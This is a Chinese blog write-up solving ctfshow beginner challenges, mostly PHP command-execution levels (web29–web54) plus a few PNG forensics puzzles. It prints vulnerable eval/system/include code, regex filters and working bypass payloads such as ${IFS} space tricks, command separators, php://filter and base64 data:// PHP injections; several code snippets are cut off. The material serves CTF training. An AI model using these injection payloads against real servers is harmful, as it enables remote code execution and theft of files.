[ctfshow]入门5

目录

命令执行

前言:

web29

web30

web31

 web32

web33

web34

web35

web36

web37

web38

web39

web40

web42

 web43

web44

web45

web46

web47

web48

web49

web50

web51

 web52

 web53

web54

总结

misc42

misc43

misc44

misc45 

misc46

misc47

misc48

misc49


前言:

本文大量参考ThnPkm大佬博客

web29

看题

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
  • preg_match()函数:preg_match 函数用于执行一个正则表达式匹配
  • 后面的i是不区分大小写

先查看目录

?c=system('ls');

flag.php index.php

捕获flag.php

?c=system('cat f*');//表示打开当前目录下所有 f开头的文件

*    匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *
?    匹配任何一个字符(不在括号内时)?代表任意1个字符
[abcd]    匹配abcd中任何一个字符
[a-z]    表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 

?c=system('cat f?ag.php');//glob2
?c=system('cat f\lag.php');//转义字符实现绕过
?c=system("cat f''lag.php");

没有回显,要查看源代码

补充:

对于linux cat和ca''t ca\t ca""t效果是相同的 这样同样可以绕过字符的限制
比如 ?c=system('ca\t fla\g.php');

另外可执行 ?c=echo`nl fla''g.php`; 注意nl指令没有回显,要echo出来才有效果

web30

看题

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这次过滤了flag,system,php。因为过滤了system,我们就得选择其他的命令执行函数了

?c=echo `cat f*`;

查看源代码 

  常见的有如下几个,其中system是有回显的,其他的就得需要我们自行输出。调用echo或者其他输出函数即可。

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号` ` 同shell_exec() 

web31

看题

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

空格被过滤,回顾上面?c=system('cat f*');是有空格的。空格的绕过可以使用%09

?c=echo(`more%09f*`);

补充1 

在linux中与cat有类似功能的有如下字符(windows下也可以)

cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev
找到一个替换的即可。

补充2

在linux 空格可以用以下字符串代替:

%09(tab)、$IFS$9、 ${IFS}、$IFS%09(tab)、< 、<>、%20(space)等

补充3 

在使用带有$的内容替换时,要注意转义,因为$在php中有特殊含义

 web32

看题

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

连echo和括号都被过滤走了 ,但没过滤双引号

下图为其他不用括号的函数

[ctfshow]入门5_第1张图片

 分号可以用?>代替,但要加上php伪协议来读取

?c=include$_GET[“a”]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

在进行base64解码得到flag 

web33

看题


连双引号都被过滤了

闭合前面的php代码,后面的php协议就不会受到正则的约束了

?c=include$_GET[a]?>&a=php://filter/read=convert.base64
-encode/resource=flag.php

web34

看题

这次又多过滤了个分号

前面提到,分号可以被?>代替。同上

?c=include$_GET[a]?>&a=php://filter/read=convert.base64
-encode/resource=flag.php

web35

又增加了过滤(没有什么用),同上 

web36

看题

又过滤了数字。不出现数字就行了。同上 

web37

看题

过滤了flag,还是个include文件包含,利用伪协议读取flag

data协议

data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

解法一,利用base64解码

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

解法2:通配符绕过flag

?c=data://text/plain,

web38

看题

多了一个php过滤,使用37解法一 

web39

看题

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

后面拼接一个.php,和37解法二同理了。都是在data协议被当做php文件执行

web40

看题

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

过滤了中文括号 

无参数RCE无参数RCE

?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
  •  dirname(__FILE__) 就是取得当前文件所在的目录
  • scandir():获取目录下的文件
  • array_reverse():将数组逆序排列
  • next():函数将内部指针指向下一元素,并输出
  • highlight_file(): 对文件进行php语法高亮显示 (显示php文件)

web42

看题


if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

>/dev/null 2>&1的意思是将命令的输出丢弃,错误输出也丢弃

为了让命令回显,可以进行命令分隔,阶段截断

;    //分号
||    //只执行前面那条命令

%0a //换行符

%26//&

%26%26//&&

?c=cat flag.php||
?c=cat flag.php%26//&
?c=cat flag.php%26%26//&&
?c=cat flag.php%0a//换行符
?c=cat flag.php;

 web43

看题

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了;和cat

 在linux中与cat有类似功能的有如下字符(windows下也可以)

cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev

?c=tac%20flag.php||

web44

看题

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

flag过滤了

?c=tac%20f*.php||

web45

看题

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

空格也过滤了,直接进行空格绕过,用%09代替空格 

?c=tac%09f*||

空格绕过 

> < <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
$IFS\
{cat,flag.php} //用逗号实现了空格功能
%20
%09

web46

看题

f(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

数字也被绕过了 ,但空格是转义,所以不影响。

*也被绕过了,用?

?c=tac%09f?ag.php||

web47

看题

/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
?>

同上就行 

web48

看题

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

同上就行

web49

看题

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

同上就行 

web50

看题

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

好家伙连%09都被过滤了,换一个空格绕过

  <
%09(需要php环境)
${IFS}
$IFS$9
$IFS\
{cat,flag.php} //用逗号实现了空格功能
%20
%09

刚开始我输?c=tac

?c=tac

web51

看题

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

tac终于是过滤掉了,用nl

?c=nl

 web52

看题

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

> < 数字 斜杠 都被禁了,但$取消过滤 空格绕过换种写法${IFS}

空格绕过 

> < <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
$IFS\
{cat,flag.php} //用逗号实现了空格功能
%20
%09

?c=nl${IFS}fl''ag.php||

 [ctfshow]入门5_第2张图片

??? 这是假flag

那我们去根目录看一眼

/?c=ls${IFS}/||

[ctfshow]入门5_第3张图片

 是flag

发现这回写 ?c=nl${IFS}fl''ag||没有显示

应该加上/      ?c=nl${IFS}/fl''ag||

或者

?c=nl$IFS/fla''g||
 ?c=nl${IFS}/fl''ag||
?c=ta\c${IFS}/fla\g|| //tac还可以这么写。长见识了

 web53

看题

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

先查看目录 ?c=ls$IFS

?c=ls$IFS

[ctfshow]入门5_第4张图片

这就不用分隔符了

?c=nl${IFS}fla''g.php

web54

看题,查看根目录,发现是flag.php


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\

花里胡哨的,nl用不了了,类似n\l  n?l都不行了

vi没被过滤,那就用vi 

?c=vi${IFS}fl??.php

也可以在 fl???php匹配到的文件中,查找含有{的文件,并打印出包含 { 的这一行

c=grep${IFS}{${IFS}fl??.php

总结

  • 先看根目录
  • 空格绕过试试增减/,试试${IFS},$$IFS\,$IFS,${IFS}
  • fl''ag fl\ag fl?ag

misc42

用tweakpng打开misc42.png,发现这七个数正好是ctfshow对应的ascii码

[ctfshow]入门5_第5张图片

把剩下的数也转换,得到flag 

misc43

提示:错误中隐藏着通往正确答案的道路

用tweakpng打开,不停的报错。那就把报错的crc提取出来,hex转字符得到flag

[ctfshow]入门5_第6张图片

misc44

提示:错误中还隐藏着坑

pngdebugger C:\Users\Goodric\Desktop\misc44.png > 1.txt

[ctfshow]入门5_第7张图片

 这里要把 OK! 换成 1 ,把 FAILED 换成 0,再转字符

借助python

f=open("E:/png-debugger-master/Debug/1.txt","r")
s=f.read()
f.close()
flag=""
for i in s.split():
    if "OK!" == i:
        flag += "1"
    elif "FAILED" ==i:
        flag += "0"
print(flag)
print(len(flag)) 
for i in range(43):
    print(chr(int(flag[8*i:8*(i+1)],2)),end="")

misc45 

要改变图片格式

直接改后缀名是不行的,必须在网站上转换图片格式。这个网站可以

然后用 binwalk 提取得到flag

你可能感兴趣的:(刷题记录,安全)